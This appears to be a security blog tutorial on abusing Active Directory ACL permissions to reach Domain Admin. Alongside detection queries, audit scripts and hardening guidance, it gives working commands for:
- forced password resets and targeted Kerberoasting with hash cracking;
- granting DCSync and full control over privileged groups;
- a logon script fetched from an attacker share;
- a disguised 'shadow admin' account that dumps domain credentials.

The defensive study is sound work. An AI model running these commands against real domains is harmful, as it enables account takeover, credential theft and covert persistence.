
Active Directory ACL Abuse: The Silent Path to Domain Admin
Deep dive into Access Control List exploitation in Active Directory, covering ACE permissions, BloodHound analysis, and practical attack paths for privilege escalation.
Introduction
Access Control Lists (ACLs) represent a powerful yet often overlooked attack vector in Active Directory environments. Unlike more visible misconfigurations such as weak passwords or unpatched systems, ACL misconfigurations operate silently beneath the surface, potentially remaining undetected for extended periods in complex enterprise environments. These permissions, when misconfigured, can provide direct pathways to domain compromise without triggering traditional security controls.
ACLs in Active Directory define who has access to which resources and what level of access they possess. Every object in Active Directory—whether a user, group, computer, or organizational unit—has an associated ACL that governs permissions. When attackers compromise a low-privilege account with specific ACL permissions, they can leverage these rights to escalate privileges, move laterally, or establish persistence mechanisms that survive password changes and system reboots.
The danger of ACL abuse lies in its subtlety. Organizations often focus on securing high-value accounts and critical systems while overlooking the intricate web of permissions that govern object relationships. A Help Desk account with the ability to reset passwords for members of a specific group, or a service account with GenericAll rights over a security group, can become powerful stepping stones in an attack chain.
Hidden in Plain Sight
ACL misconfigurations cannot be detected by traditional vulnerability scanners. They represent legitimate permissions that have been overly permissive or improperly assigned, making them invisible to automated security tools. Many organizations remain unaware of dangerous ACL configurations until they are exploited during a security incident or penetration test.
Technical Background
Understanding ACLs and DACLs
In Active Directory, ACLs come in two primary forms: Discretionary Access Control Lists (DACLs) and System Access Control Lists (SACLs). DACLs define which security principals are granted or denied access to an object, while SACLs control audit logging for access attempts. From an attacker's perspective, DACLs represent the primary target for exploitation.
A DACL consists of multiple Access Control Entries (ACEs), where each ACE defines:
- The Security Identifier (SID) of the user or group being granted permissions
- The type of ACE (allow, deny, or system audit)
- Inheritance flags that determine whether child objects inherit the permission
- An access mask defining the specific rights granted (a 32-bit value encoding various permissions)
When a user attempts to access an Active Directory object, the system evaluates the DACL in a specific order. Explicit deny entries are processed first, followed by explicit allow entries. If no DACL exists for an object, all users are granted full access. Conversely, if a DACL exists but contains no ACE entries, all access is denied.
Dangerous ACE Permissions
Several ACE permissions are particularly valuable for privilege escalation:
| Permission | Description | Attack Potential |
|---|---|---|
| ForceChangePassword | Allows resetting a user's password without knowing the current password | Direct account takeover without alerting the target user initially |
| GenericAll | Grants full control over the target object | Enables password resets, group membership changes, and Kerberoasting |
| GenericWrite | Allows modification of most object attributes | Can assign SPNs for Kerberoasting or modify object properties |
| WriteOwner | Allows changing the owner of an object | Owner can modify permissions, leading to full control |
| WriteDACL | Allows modification of the object's DACL | Attacker can grant themselves any permission |
| AllExtendedRights | Grants all extended rights including sensitive operations | Includes password resets and other privileged operations |
| AddMember | Allows adding members to a group | Direct privilege escalation by joining privileged groups |
| Self | Allows adding oneself to a group | Self-service privilege escalation |
Extended Rights
Beyond standard permissions, Active Directory defines numerous extended rights that grant specific capabilities:
- User-Force-Change-Password: Reset user passwords without knowing the current password
- DS-Replication-Get-Changes: Required for DCSync attacks to replicate password hashes
- DS-Replication-Get-Changes-All: Complete replication rights for all objects
- ReadGMSAPassword: Read the password for Group Managed Service Accounts
- Unexpire-Password: Prevent a password from expiring
These extended rights are often overlooked during security reviews but can provide direct paths to domain compromise.
Enumeration and Discovery
Manual Enumeration with PowerShell
Active Directory provides native tools for ACL enumeration, though parsing results can be challenging:
# Get ACL for a specific user object
Get-Acl "AD:\CN=targetuser,CN=Users,DC=domain,DC=local" | Format-List
# Enumerate all users with specific ACL permissions
$users = Get-ADUser -Filter * -Properties nTSecurityDescriptor
foreach ($user in $users) {
$acl = Get-Acl "AD:\$($user.DistinguishedName)"
$acl.Access | Where-Object {
$_.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner" -and
$_.AccessControlType -eq "Allow"
}
}
# Find objects where a specific user has permissions
$identity = "DOMAIN\username"
Get-ADObject -Filter * -Properties nTSecurityDescriptor | ForEach-Object {
$acl = Get-Acl "AD:\$($_.DistinguishedName)" -ErrorAction SilentlyContinue
if ($acl.Access | Where-Object {$_.IdentityReference -eq $identity}) {
Write-Host "User has permissions on: $($_.DistinguishedName)"
}
}Enumeration with PowerView
PowerView from the PowerSploit framework provides more targeted ACL enumeration capabilities:
# Import PowerView
Import-Module .\PowerView.ps1
# Find all users with interesting ACL permissions
Find-InterestingDomainAcl -ResolveGUIDs
# Find ACLs for a specific user
Get-DomainObjectAcl -Identity targetuser -ResolveGUIDs
# Find objects where a specific user/group has ACL permissions
Get-DomainObjectAcl -ResolveGUIDs | Where-Object {
$_.SecurityIdentifier -eq (ConvertTo-SID username)
}
# Enumerate ACLs modified recently
Get-DomainObjectAcl -ResolveGUIDs | Where-Object {
$_.ModifyDate -gt (Get-Date).AddDays(-90)
}
# Find all users who can modify group membership
Get-DomainGroup | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {
$_.ActiveDirectoryRights -match "WriteProperty" -and
$_.ObjectAceType -eq "Member"
}BloodHound Analysis
BloodHound revolutionizes ACL enumeration by visualizing the complex relationships between objects:
# Collect data with SharpHound
.\SharpHound.exe -c All,GPOLocalGroup --outputdirectory C:\temp
# From Linux with bloodhound-python
bloodhound-python -u username -p password -d domain.local -ns 10.10.10.10 -c AllEssential BloodHound Queries for ACL Abuse:
// Find shortest paths to Domain Admins via ACL abuse
MATCH (n:User {owned:true}), (m:Group {name:"DOMAIN [email protected]"}),
p=shortestPath((n)-[r:MemberOf|AdminTo|HasSession|Contains|GPLink|AllowedToDelegate|
ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|CanRDP|
ExecuteDCOM|AllowedToAct|ReadLAPSPassword|ReadGMSAPassword|DCSync|AddMember|
AddAllowedToAct|AddSelf*1..]->(m))
RETURN p
// Find all users with ForceChangePassword rights
MATCH p=(u:User)-[r:ForceChangePassword]->(n:User)
RETURN p
// Find users who can add members to groups
MATCH p=(u:User)-[r:AddMember]->(g:Group)
WHERE g.highvalue = true
RETURN p
// Find users with GenericAll on other users
MATCH p=(u:User)-[r:GenericAll]->(n:User)
WHERE u.name <> n.name
RETURN p
// Find WriteDACL permissions on Domain Admins
MATCH p=(n)-[r:WriteDacl]->(g:Group {name:"DOMAIN [email protected]"})
RETURN p
// Find all ACL attack paths from owned users
MATCH (u:User {owned:true})
MATCH (m:Group {highvalue:true})
MATCH p=shortestPath((u)-[r:GenericAll|GenericWrite|WriteOwner|WriteDacl|
ForceChangePassword|AllExtendedRights*1..]->(m))
RETURN pPractical Attack Techniques
ForceChangePassword Exploitation
When a user has ForceChangePassword rights over another user, they can reset the target's password without knowing the current password:
# Using PowerView
Set-DomainUserPassword -Identity targetuser -Password (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force) -Verbose
# Using Active Directory module
Set-ADAccountPassword -Identity targetuser -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "NewPass123!" -Force)
# Force password change at next logon (for stealth)
Set-ADUser -Identity targetuser -ChangePasswordAtLogon $trueLinux-based exploitation:
# Using rpcclient
rpcclient -U "DOMAIN/username%password" //dc01.domain.local
rpcclient $> setuserinfo2 targetuser 23 'NewPassword123!'
# Using net rpc (Samba tools)
net rpc password targetuser NewPassword123! -U username -S dc01.domain.localGenericAll Abuse
GenericAll provides complete control over an object, enabling multiple attack vectors:
Password Reset:
# Reset target password
Set-ADAccountPassword -Identity targetuser -NewPassword (ConvertTo-SecureString 'AttackerPass123!' -AsPlainText -Force) -ResetTargeted Kerberoasting:
# Add SPN to user account
Set-ADUser -Identity targetuser -ServicePrincipalNames @{Add='HTTP/fake.domain.local'}
# Request TGS ticket for offline cracking
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/fake.domain.local"
# Export ticket with Rubeus
.\Rubeus.exe kerberoast /user:targetuser /simple
# Crack with Hashcat
hashcat -m 13100 ticket.txt wordlist.txt -r rules/best64.ruleGroup Membership Manipulation:
# Add user to privileged group
Add-ADGroupMember -Identity "Domain Admins" -Members targetuser
# Add computer account to protected group
Add-ADGroupMember -Identity "Protected Users" -Members "COMPUTER01$"WriteDACL Exploitation
WriteDACL allows modification of an object's permissions, enabling self-privilege escalation:
# Grant yourself GenericAll using PowerView
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity username -Rights All -Verbose
# Grant DCSync rights to your account
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" -PrincipalIdentity username -Rights DCSync -Verbose
# Using Active Directory module
$acl = Get-Acl "AD:\CN=Domain Admins,CN=Users,DC=domain,DC=local"
$user = Get-ADUser username
$sid = [System.Security.Principal.SecurityIdentifier]$user.SID
$identity = [System.Security.Principal.IdentityReference]$sid
$adRights = [System.DirectoryServices.ActiveDirectoryRights]::GenericAll
$type = [System.Security.AccessControl.AccessControlType]::Allow
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($identity,$adRights,$type)
$acl.AddAccessRule($ace)
Set-Acl -AclObject $acl -Path "AD:\CN=Domain Admins,CN=Users,DC=domain,DC=local"Linux exploitation using Impacket:
# Grant DCSync rights to user
impacket-dacledit -action write -rights DCSync -principal username -target "DC=domain,DC=local" domain.local/username:password
# Grant Full Control over Domain Admins group
impacket-dacledit -action write -rights FullControl -principal username -target "CN=Domain Admins,CN=Users,DC=domain,DC=local" domain.local/username:passwordWriteOwner Exploitation
WriteOwner allows changing an object's owner, and the owner can then modify any permission:
# Change owner using PowerView
Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity username
# Grant yourself full control after taking ownership
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity username -Rights All
# Using AD module
$acl = Get-Acl "AD:\CN=Domain Admins,CN=Users,DC=domain,DC=local"
$user = Get-ADUser username
$acl.SetOwner([System.Security.Principal.SecurityIdentifier]$user.SID)
Set-Acl -AclObject $acl -Path "AD:\CN=Domain Admins,CN=Users,DC=domain,DC=local"GenericWrite Abuse
GenericWrite allows modification of most non-protected attributes:
# Add SPN for Kerberoasting
Set-ADUser -Identity targetuser -ServicePrincipalNames @{Add='HTTP/malicious.domain.local'}
# Modify scriptPath to execute malicious script at logon
Set-ADUser -Identity targetuser -ScriptPath "\\attacker\share\malicious.bat"
# Modify description field (for social engineering)
Set-ADUser -Identity targetuser -Description "Contact IT at [email protected] for password resets"
# Enable account if disabled
Enable-ADAccount -Identity targetuser
# Disable pre-authentication (for AS-REP roasting)
Set-ADAccountControl -Identity targetuser -DoesNotRequirePreAuth $trueAdvanced Attack Chains
Multi-Hop ACL Exploitation
Often, privilege escalation requires chaining multiple ACL permissions:
Scenario: compromised user -> HelpDesk group -> IT Admins -> Domain Admins
Step 1: User has GenericAll over HelpDesk group
Add-ADGroupMember -Identity "HelpDesk" -Members compromiseduser
Step 2: HelpDesk has ForceChangePassword over IT Admins member
Set-ADAccountPassword -Identity itadmin -NewPassword $newpass -Reset
Step 3: IT Admin has WriteDACL over Domain Admins
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity itadmin -Rights All
Step 4: Add compromised user to Domain Admins
Add-ADGroupMember -Identity "Domain Admins" -Members compromiseduserShadow Admin Creation
Establishing covert administrative access through ACL manipulation:
# Create inconspicuous user account
New-ADUser -Name "svc-monitoring" -SamAccountName "svc-monitoring" -UserPrincipalName "[email protected]" -AccountPassword $securepass -Enabled $true -Description "Performance monitoring service account"
# Grant DCSync rights (works from any network location)
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" -PrincipalIdentity "svc-monitoring" -Rights DCSync
# Grant GenericAll over Domain Admins (for account manipulation)
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity "svc-monitoring" -Rights All
# Dump credentials remotely
secretsdump.py domain.local/svc-monitoring:[email protected] -just-dcDetection Strategies
Event Log Monitoring
Monitor for suspicious ACL modifications:
Event ID 4670: Permissions on an object were changed
<QueryList>
<Query Id="0" Path="Security">
<Select Path="Security">
*[System[(EventID=4670)]]
and
*[EventData[Data[@Name='ObjectName'] and (contains(., 'Domain Admins') or contains(., 'Enterprise Admins'))]]
</Select>
</Query>
</QueryList>Event ID 4662: An operation was performed on an object
<QueryList>
<Query Id="0" Path="Security">
<Select Path="Security">
*[System[(EventID=4662)]]
and
*[EventData[Data[@Name='Properties'] and (contains(., '00299570-246d-11d0-a768-00aa006e0529') or contains(., '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2'))]]
</Select>
</Query>
</QueryList>PowerShell Audit Script
# Monitor sensitive object ACLs
$targets = @(
"CN=Domain Admins,CN=Users,DC=domain,DC=local",
"CN=Enterprise Admins,CN=Users,DC=domain,DC=local",
"CN=Administrators,CN=Builtin,DC=domain,DC=local",
"DC=domain,DC=local"
)
foreach ($target in $targets) {
$acl = Get-Acl "AD:\$target"
$acl.Access | Where-Object {
$_.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner" -and
$_.AccessControlType -eq "Allow" -and
$_.IdentityReference -notmatch "SYSTEM|Domain Admins|Enterprise Admins"
} | Select-Object IdentityReference, ActiveDirectoryRights, AccessControlType, @{N='Object';E={$target}}
}SIEM Detection Rules
Splunk query for suspicious ACL changes:
index=windows EventCode=4670
| where ObjectName IN ("*Domain Admins*", "*Enterprise Admins*", "*Administrators*")
| stats count by SubjectUserName, ObjectName, AccessMask
| where count > 1Sentinel KQL query:
SecurityEvent
| where EventID == 4670
| where ObjectName contains "Domain Admins" or ObjectName contains "Enterprise Admins"
| where SubjectUserName !in ("SYSTEM", "Administrator")
| project TimeGenerated, SubjectUserName, ObjectName, PropertiesDefensive Measures
Regular ACL Audits
# Comprehensive ACL audit script
$report = @()
# Audit critical groups
$criticalGroups = @("Domain Admins", "Enterprise Admins", "Schema Admins", "Administrators")
foreach ($group in $criticalGroups) {
$dn = (Get-ADGroup $group).DistinguishedName
$acl = Get-Acl "AD:\$dn"
$acl.Access | Where-Object {
$_.AccessControlType -eq "Allow" -and
$_.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner|GenericWrite"
} | ForEach-Object {
$report += [PSCustomObject]@{
Object = $group
Identity = $_.IdentityReference
Rights = $_.ActiveDirectoryRights
InheritanceFlags = $_.InheritanceFlags
}
}
}
# Export to CSV
$report | Export-Csv -Path "ACL_Audit_$(Get-Date -Format 'yyyyMMdd').csv" -NoTypeInformationAdminSDHolder Protection
Ensure AdminSDHolder is properly configured and monitored:
# Check AdminSDHolder ACL
$adminSDHolder = "CN=AdminSDHolder,CN=System,DC=domain,DC=local"
Get-Acl "AD:\$adminSDHolder" | Select-Object -ExpandProperty Access
# Monitor SDProp execution
Get-WinEvent -LogName "Directory Service" -FilterXPath "*[System[(EventID=16969)]]" |
Select-Object TimeCreated, Message
# Force SDProp execution (requires Domain Admin)
repadmin /showattr "DC=domain,DC=local" /filter:"(samAccountName=Administrator)" /atts:adminCountImplement Protected Users Group
# Add privileged accounts to Protected Users
Add-ADGroupMember -Identity "Protected Users" -Members @(
"Domain Admin 1",
"Enterprise Admin 1",
"Critical Service Accounts"
)
# Verify membership
Get-ADGroupMember -Identity "Protected Users" | Select-Object Name, SamAccountNameRemove Excessive Permissions
# Remove dangerous ACE from Domain Admins
$acl = Get-Acl "AD:\CN=Domain Admins,CN=Users,DC=domain,DC=local"
$user = Get-ADUser dangeroususername
$sid = [System.Security.Principal.SecurityIdentifier]$user.SID
$acl.Access | Where-Object {
$_.IdentityReference -eq $sid -and
$_.ActiveDirectoryRights -match "GenericAll|WriteDacl"
} | ForEach-Object {
$acl.RemoveAccessRule($_)
}
Set-Acl -AclObject $acl -Path "AD:\CN=Domain Admins,CN=Users,DC=domain,DC=local"Remediation Best Practices
Principle of Least Privilege
- Review and document all accounts with privileged ACL permissions
- Remove inherited permissions where explicit deny is more appropriate
- Use temporary elevated access (PIM) instead of persistent ACL permissions
- Implement time-bound privilege escalation workflows
Segregation of Administrative Duties
- Separate Help Desk password reset rights from IT administration
- Create tiered administrative models (Tier 0, 1, 2)
- Use dedicated administrative accounts for privileged operations
- Implement jump servers for administrative access
Monitoring and Alerting
- Enable Advanced Audit Policy for object access
- Monitor Event IDs 4670, 4662, 5136, and 4738
- Establish baselines for normal ACL modification patterns
- Alert on unexpected modifications to sensitive objects
ACL Hardening Checklist
- Remove unnecessary ACL permissions from Domain Admins group
- Audit and minimize accounts in privileged groups
- Configure AdminSDHolder correctly
- Enable Advanced Security Audit Policy
- Implement Protected Users group for Tier 0 accounts
- Document and review extended rights assignments
- Remove legacy ACL permissions from object migrations
- Test ACL changes in non-production environment first
Verification and Testing
Validate Defensive Posture
# Test 1: Find overly permissive ACLs
Get-ADObject -Filter * -Properties nTSecurityDescriptor |
ForEach-Object {
$acl = Get-Acl "AD:\$($_.DistinguishedName)" -ErrorAction SilentlyContinue
$acl.Access | Where-Object {
$_.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner" -and
$_.AccessControlType -eq "Allow" -and
$_.IdentityReference -match "Authenticated Users|Everyone|Users"
}
} | Select-Object IdentityReference, ActiveDirectoryRights, IsInherited
# Test 2: Verify AdminSDHolder configuration
$adminSDHolder = Get-Acl "AD:\CN=AdminSDHolder,CN=System,DC=domain,DC=local"
$adminSDHolder.Access | Where-Object {
$_.IdentityReference -notmatch "SYSTEM|Domain Admins|Enterprise Admins" -and
$_.AccessControlType -eq "Allow"
}
# Test 3: Find protected accounts not in Protected Users
$protectedAccounts = Get-ADUser -Filter {AdminCount -eq 1}
$protectedUsersMembers = Get-ADGroupMember -Identity "Protected Users"
Compare-Object $protectedAccounts $protectedUsersMembers -Property SamAccountNameSimulate Attack Scenarios
# Controlled test (with authorization)
# Test 1: Verify ForceChangePassword detection
Set-ADAccountPassword -Identity testuser -Reset -NewPassword $testpass -WhatIf
# Test 2: Verify WriteDACL monitoring
# Monitor Event ID 4670 after executing:
Add-DomainObjectAcl -TargetIdentity testgroup -PrincipalIdentity testuser -Rights All -Verbose -WhatIf
# Test 3: Verify alerting on sensitive group ACL changes
# Check SIEM alerts after modifying ACL on Domain AdminsReferences
- MITRE ATT&CK: T1098 - Account Manipulation
- Microsoft: Understanding ACLs in Active Directory
- SpecterOps: An ACE Up the Sleeve
- Andy Robbins: Abusing Active Directory Permissions
- Adsecurity.org: Sneaky Active Directory Persistence Tricks
- BloodHound Documentation: Edges Reference
Next Steps
If ACL vulnerabilities are identified:
- Immediately assess scope of excessive permissions across the domain
- Implement monitoring for Event IDs 4670, 4662, and 5136
- Conduct BloodHound analysis to identify complex attack paths
- Review and remediate permissions following principle of least privilege
- Document all authorized ACL permissions for baseline establishment
- Explore related Active Directory attack techniques:
Takeaway: ACL abuse represents a silent but devastating attack vector in Active Directory environments. Unlike noisy attacks that trigger security alerts, ACL exploitation leverages legitimate permissions that have been misconfigured or overly permissive. The combination of regular ACL audits, BloodHound analysis, comprehensive monitoring, and least privilege enforcement provides defense-in-depth against this persistent threat. Make ACL security a priority component of your Active Directory hardening program.
Last updated on
Active Directory Attacks
Comprehensive Active Directory attack techniques including Kerberoasting, AS-REP Roasting, NTLM relay, ACL abuse, and ticket attacks for red team operations.
DnsAdmins Group Exploitation: From DNS to Domain Admin
Detailed walkthrough of DnsAdmins privilege escalation through DLL injection into DNS service, covering exploitation, cleanup, and mitigation strategies.